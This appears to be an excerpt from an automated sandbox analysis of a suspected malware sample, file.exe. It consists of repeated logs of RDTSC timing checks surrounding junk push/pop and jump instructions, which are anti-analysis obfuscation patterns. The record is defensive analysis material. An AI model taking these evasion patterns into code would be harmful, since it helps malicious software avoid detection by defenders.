Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF49E8 second address: BF4A28 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C880h 0x00000007 ja 00007F3F9CD6C889h 0x0000000d jmp 00007F3F9CD6C883h 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F3F9CD6C87Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF4A28 second address: BF4A32 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3F9D05A4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF4A32 second address: BF4A38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF4A38 second address: BF4A3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF4BE9 second address: BF4BF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5408 second address: BF5436 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jng 00007F3F9D05A4C3h 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007F3F9D05A4BEh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF5436 second address: BF546A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F3F9CD6C883h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007F3F9CD6C876h 0x00000013 jmp 00007F3F9CD6C883h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF546A second address: BF546E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6C4C second address: BF6C61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C87Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6C61 second address: BF6C67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6C67 second address: BF6C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B678CC second address: B678D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B678D2 second address: B678D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B678D6 second address: B678DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B678DE second address: B678F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3F9CD6C882h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2E25 second address: B9B24E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F3F9D05A4BDh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F3F9D05A4C8h 0x00000016 nop 0x00000017 clc 0x00000018 call dword ptr [ebp+122D25FBh] 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB33F1 second address: BB343C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push edx 0x00000008 jbe 00007F3F9CD6C876h 0x0000000e pop edx 0x0000000f popad 0x00000010 xor dword ptr [esp], 27629C80h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F3F9CD6C878h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 mov edi, dword ptr [ebp+122D35DBh] 0x00000037 push 6A689852h 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3775 second address: BB3779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3779 second address: BB378E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C881h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB378E second address: BB37AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jp 00007F3F9D05A4B8h 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB38A4 second address: BB3902 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F3F9CD6C885h 0x0000000d nop 0x0000000e jbe 00007F3F9CD6C879h 0x00000014 push eax 0x00000015 clc 0x00000016 pop ecx 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F3F9CD6C878h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 jno 00007F3F9CD6C876h 0x00000039 jmp 00007F3F9CD6C87Ah 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 push edx 0x00000043 pop edx 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3DB3 second address: BB3DCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4C4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB3F7A second address: BB3F84 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3F9CD6C87Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB4056 second address: B9BD7A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F3F9D05A4BCh 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007F3F9D05A4B8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000017h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov edx, dword ptr [ebp+122D35DFh] 0x00000030 lea eax, dword ptr [ebp+12484B34h] 0x00000036 mov cl, 2Eh 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007F3F9D05A4BAh 0x0000003f pop edx 0x00000040 mov dword ptr [esp], eax 0x00000043 pushad 0x00000044 mov bx, A291h 0x00000048 mov ebx, dword ptr [ebp+122D3883h] 0x0000004e popad 0x0000004f call dword ptr [ebp+122D22E2h] 0x00000055 push ecx 0x00000056 pushad 0x00000057 push eax 0x00000058 push edx 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA5A5 second address: BFA5A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA5A9 second address: BFA5CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4BFh 0x00000007 jnc 00007F3F9D05A4B6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnp 00007F3F9D05A4B8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFA9AB second address: BFA9C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C87Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b push edx 0x0000000c jno 00007F3F9CD6C876h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAEF1 second address: BFAEF7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFAEF7 second address: BFAF0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C880h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01D80 second address: C01D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01F0F second address: C01F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C87Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C01F1F second address: C01F3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F3F9D05A4B6h 0x0000000a jmp 00007F3F9D05A4C1h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02091 second address: C020A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F3F9CD6C87Ch 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C046B4 second address: C046BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C046BA second address: C046E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C888h 0x00000007 pushad 0x00000008 jl 00007F3F9CD6C876h 0x0000000e jnp 00007F3F9CD6C876h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C09407 second address: C09418 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnl 00007F3F9D05A4BCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C08C85 second address: C08CA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3F9CD6C889h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C08CA5 second address: C08CAF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3F9D05A4C2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C08CAF second address: C08CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0D19B second address: C0D1A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79FBB second address: B79FDD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F3F9CD6C883h 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79FDD second address: B79FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B79FE5 second address: B79FFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3F9CD6C881h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C4A6 second address: C0C4B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F3F9D05A4B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C746 second address: C0C75F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C880h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C8C1 second address: C0C8D1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jne 00007F3F9D05A4B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0CA1D second address: C0CA23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0CB6A second address: C0CB6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0CB6E second address: C0CB7A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 js 00007F3F9CD6C876h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0CB7A second address: C0CBBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F3F9D05A4C7h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jmp 00007F3F9D05A4C9h 0x00000015 push esi 0x00000016 push edi 0x00000017 pop edi 0x00000018 pushad 0x00000019 popad 0x0000001a pop esi 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0CBBE second address: C0CBC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C113C5 second address: C113CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11522 second address: C1152F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 push esi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11C08 second address: C11C11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C11D45 second address: C11D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 jbe 00007F3F9CD6C878h 0x0000000d popad 0x0000000e push edi 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C126D0 second address: C126D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19DAE second address: C19DB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19DB2 second address: C19DC9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3F9D05A4B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d pushad 0x0000000e popad 0x0000000f jbe 00007F3F9D05A4B6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19DC9 second address: C19DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19DCE second address: C19DD8 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3F9D05A4C8h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19DD8 second address: C19DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C87Ch 0x00000009 pushad 0x0000000a jmp 00007F3F9CD6C883h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19DFE second address: C19E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F3F9D05A4B6h 0x00000010 jno 00007F3F9D05A4B6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17F22 second address: C17F28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17F28 second address: C17F3C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3F9D05A4B6h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jne 00007F3F9D05A4BEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17F3C second address: C17F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jg 00007F3F9CD6C87Eh 0x0000000c jns 00007F3F9CD6C876h 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17F54 second address: C17F5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C180D2 second address: C180D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C180D6 second address: C180E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C180E4 second address: C180E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1864C second address: C18665 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9D05A4C2h 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18665 second address: C186A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jnl 00007F3F9CD6C876h 0x0000000c popad 0x0000000d pop ecx 0x0000000e pushad 0x0000000f pushad 0x00000010 push edx 0x00000011 pop edx 0x00000012 jl 00007F3F9CD6C876h 0x00000018 pushad 0x00000019 popad 0x0000001a jns 00007F3F9CD6C876h 0x00000020 popad 0x00000021 jmp 00007F3F9CD6C880h 0x00000026 push eax 0x00000027 push edx 0x00000028 push edx 0x00000029 pop edx 0x0000002a js 00007F3F9CD6C876h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18976 second address: C18985 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9D05A4BBh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C18FCE second address: C18FDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3F9CD6C87Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19294 second address: C1929A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C19578 second address: C1959F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3F9CD6C886h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop eax 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 je 00007F3F9CD6C876h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E83F second address: C1E855 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3F9D05A4BCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F3F9D05A4B6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E855 second address: C1E86B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jp 00007F3F9CD6C890h 0x0000000e push esi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E86B second address: C1E86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1DC60 second address: C1DC64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1DEFE second address: C1DF03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1DF03 second address: C1DF17 instructions: 0x00000000 rdtsc 0x00000002 js 00007F3F9CD6C878h 0x00000008 push eax 0x00000009 pop eax 0x0000000a jnp 00007F3F9CD6C87Eh 0x00000010 pushad 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E2EE second address: C1E2F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E2F2 second address: C1E30E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnc 00007F3F9CD6C876h 0x0000000e jmp 00007F3F9CD6C87Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E30E second address: C1E32E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F3F9D05A4C5h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E32E second address: C1E334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E334 second address: C1E343 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E343 second address: C1E348 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E4CA second address: C1E4D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1E4D0 second address: C1E4DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
